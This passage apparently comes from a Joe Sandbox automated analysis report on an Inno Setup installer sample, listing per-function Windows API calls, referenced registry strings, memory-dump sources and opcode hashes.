                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$DispatchPeekTranslate
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4217535847-0
                                                                                                                                                                                                                                      • Opcode ID: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
                                                                                                                                                                                                                                      • Instruction ID: 8eae6dca0d2455523dd27ca57e4683f6da326f6f2f90499d04ddbfd693f83f9d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E3116D303043205AEB20FA24A941B9F73D4DFC5758F80481EFC99972C2D77D9D49879A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetPropA.USER32(00000000,00000000), ref: 0041666A
                                                                                                                                                                                                                                      • SetPropA.USER32(00000000,00000000), ref: 0041667F
                                                                                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 004166A6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Prop$Window
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3363284559-0
                                                                                                                                                                                                                                      • Opcode ID: ff8df5d04f2ecdb5f17762fdbd8b59dc717163ef82ea70d213bab306533cf9bb
                                                                                                                                                                                                                                      • Instruction ID: 6913c5f2d07602d921388148e43cadd8ab2d6729f30613f48e4cae6714e3bc13
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ff8df5d04f2ecdb5f17762fdbd8b59dc717163ef82ea70d213bab306533cf9bb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ACF01271701210ABDB10AB599C85FA732DCAB09714F16057AB905EF286C778DC40C7A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsWindowVisible.USER32(?), ref: 0041EE64
                                                                                                                                                                                                                                      • IsWindowEnabled.USER32(?), ref: 0041EE6E
                                                                                                                                                                                                                                      • EnableWindow.USER32(?,00000000), ref: 0041EE94
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$EnableEnabledVisible
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3234591441-0
                                                                                                                                                                                                                                      • Opcode ID: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
                                                                                                                                                                                                                                      • Instruction ID: 3b4cb379701a2ac24b7d0c87bf9454d2e26b3d0fb89a85d5a5a22e513a73856b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EAE06DB5100301AAE301AB2BDC81B5B7A9CAB54350F05843BA9089B292D63ADC408B7C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?), ref: 00469EA1
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ActiveWindow
                                                                                                                                                                                                                                      • String ID: PrepareToInstall
                                                                                                                                                                                                                                      • API String ID: 2558294473-1101760603
                                                                                                                                                                                                                                      • Opcode ID: e58a16817a64f5759f31888600c1354bb1a8a8b494c3c93af2f1dbc242ca25c6
                                                                                                                                                                                                                                      • Instruction ID: ccacc6dcba8b8cbbfa1c17f86b27e08b0c11e5798d11daccd90c331c988b02c3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e58a16817a64f5759f31888600c1354bb1a8a8b494c3c93af2f1dbc242ca25c6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7EA11934A00109DFCB00EF59D986EDEB7F5AF48304F6580B6E404AB366D778AE41DB99
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: /:*?"<>|
                                                                                                                                                                                                                                      • API String ID: 0-4078764451
                                                                                                                                                                                                                                      • Opcode ID: 43277fb1c717e2606564b112b1b0681d416f5021830c97b09ce096e65d7cf365
                                                                                                                                                                                                                                      • Instruction ID: 1e87f3d38ec7dbf16fc1afa4daea9e6ca85b65b9a8fb7c68475855461939e3a0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 43277fb1c717e2606564b112b1b0681d416f5021830c97b09ce096e65d7cf365
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4371A470A40214ABDB10EB66DDD2BEE77A19F40308F1084A7F580AB392E779AD45875F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?), ref: 0048215A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ActiveWindow
                                                                                                                                                                                                                                      • String ID: InitializeWizard
                                                                                                                                                                                                                                      • API String ID: 2558294473-2356795471
                                                                                                                                                                                                                                      • Opcode ID: 376233a1d1dddbf1dd43b25fae561af2bf40b6633c4dd7a0e8b1389a7c4343be
                                                                                                                                                                                                                                      • Instruction ID: 36b0f45b5e581da985bac651985c8aaa8d6a9bed6a39233588f506be3a995c8b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 376233a1d1dddbf1dd43b25fae561af2bf40b6633c4dd7a0e8b1389a7c4343be
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79119434205200AFD701FBA9EEDAB1937E4EB59328F60047BF5009B6A1DA796C00CB5D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,0047C230,00000000,0047C432), ref: 0047C029
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion, xrefs: 0047BFF9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: Software\Microsoft\Windows\CurrentVersion
                                                                                                                                                                                                                                      • API String ID: 47109696-1019749484
                                                                                                                                                                                                                                      • Opcode ID: 91d5c32787d00ddb3ecc29a404e36154aacf37a6ecdb6076e024b20848598476
                                                                                                                                                                                                                                      • Instruction ID: 5930872802659161668f2fc27ec2b8a5c579264ce8ecaca434dd7baa373bea44
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 91d5c32787d00ddb3ecc29a404e36154aacf37a6ecdb6076e024b20848598476
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B1F08231700514A7DA00A69E6D82B9BA79D9B84758F20403FF508DB242DABE9E0202EC
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,00475FFE,?,0049C1DC,?,0046EFCF,?,00000000,0046F56A,?,_is1), ref: 0046ECDB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Inno Setup: Setup Version, xrefs: 0046ECD9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value
                                                                                                                                                                                                                                      • String ID: Inno Setup: Setup Version
                                                                                                                                                                                                                                      • API String ID: 3702945584-4166306022
                                                                                                                                                                                                                                      • Opcode ID: 56bbb1f4a6cd77c20b542710a526df67742b244f3cd53e0af7fea37619b23a66
                                                                                                                                                                                                                                      • Instruction ID: 3111e2ab1a00cbee8849f506c2bc3fe53732bb3e30b7299e44938699edfd3f7c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 56bbb1f4a6cd77c20b542710a526df67742b244f3cd53e0af7fea37619b23a66
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 71E06D753012043FE710AA2B9C85F5BBBDCDF99765F10403AB909DB392D978DD0085A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F3A6,?,?,00000000,0046F56A,?,_is1,?), ref: 0046ED3B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value
                                                                                                                                                                                                                                      • String ID: NoModify
                                                                                                                                                                                                                                      • API String ID: 3702945584-1699962838
                                                                                                                                                                                                                                      • Opcode ID: 306e8526e04bb1da42350282118940b5300f429dbb2620f70078b8bfc6bd1a7c
                                                                                                                                                                                                                                      • Instruction ID: e7aa99f2e089c5623e338f59092b711216c244eb116ac0446a77828d65f342ac
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 306e8526e04bb1da42350282118940b5300f429dbb2620f70078b8bfc6bd1a7c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3AE04FB4640304BFEB04DB55CD4AF6B77ECDB48710F104059BA049B291E674FE00CA68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • System\CurrentControlSet\Control\Windows, xrefs: 0042DE36
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Open
                                                                                                                                                                                                                                      • String ID: System\CurrentControlSet\Control\Windows
                                                                                                                                                                                                                                      • API String ID: 71445658-1109719901
                                                                                                                                                                                                                                      • Opcode ID: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
                                                                                                                                                                                                                                      • Instruction ID: 60e43675bb36a9eef4a15598a1848ca3f705ecc445ee8c9fe52fc6b05f1352bb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 29D09E72950128BB9B009A89DC41DFB775DDB15760F45441BF9049B141C5B4AC5197E4
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetACP.KERNEL32(?,?,00000001,00000000,0047E237,?,-0000001A,004800ED,-00000010,?,00000004,0000001B,00000000,0048043A,?,0045D9B8), ref: 0047DFCE
                                                                                                                                                                                                                                        • Part of subcall function 0042E31C: GetDC.USER32(00000000), ref: 0042E32B
                                                                                                                                                                                                                                        • Part of subcall function 0042E31C: EnumFontsA.GDI32(?,00000000,0042E308,00000000,00000000,0042E374,?,00000000,00000000,004804A1,?,?,00000001,00000000,00000002,00000000), ref: 0042E356
                                                                                                                                                                                                                                        • Part of subcall function 0042E31C: ReleaseDC.USER32(00000000,?), ref: 0042E36E
                                                                                                                                                                                                                                      • SendNotifyMessageA.USER32(00020138,00000496,00002711,-00000001), ref: 0047E19E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: EnumFontsMessageNotifyReleaseSend
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2649214853-0
                                                                                                                                                                                                                                      • Opcode ID: e029a571d7ea910feaf489f47ebd39d374a0288316229fc386b1e2e4e1e2ac40
                                                                                                                                                                                                                                      • Instruction ID: 52cd92918bf59317d76ec0dbded9268cc5ddbf6ebeab8dbad6023b52803fe890
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e029a571d7ea910feaf489f47ebd39d374a0288316229fc386b1e2e4e1e2ac40
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 045196746001108BC710FF26D981A9B37E9EB58308B90C67BA4089B3A7CB7CDD46CB9D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,004021FC), ref: 004020CB
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 296031713-0
                                                                                                                                                                                                                                      • Opcode ID: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
                                                                                                                                                                                                                                      • Instruction ID: 30adadd309813d1a6846ca6b4958dbaac508113c784b73a5bb8d11bfdb372a30
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3941E3B2E00304DFDB10CF69EE8521A77A4F7A8324B15417FD854A77E2D3789801DB88
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DC3C
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DCAC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: QueryValue
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3660427363-0
                                                                                                                                                                                                                                      • Opcode ID: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
                                                                                                                                                                                                                                      • Instruction ID: 5bd1c55a509b6dee259ffcee94d68868fe84ce326e73fb4cf6662c4527ef549e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9D414171E00529ABDB11DF95D881BAFB7B8EB04704F918466E810F7241D778AE00CBA5
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DF6C
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,0042DFDD,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DFD0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseEnum
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2818636725-0
                                                                                                                                                                                                                                      • Opcode ID: 4ba9105902ea8f19abce0b58cfd6361b4b3e39fae621ffe28cce2eb109bf1346
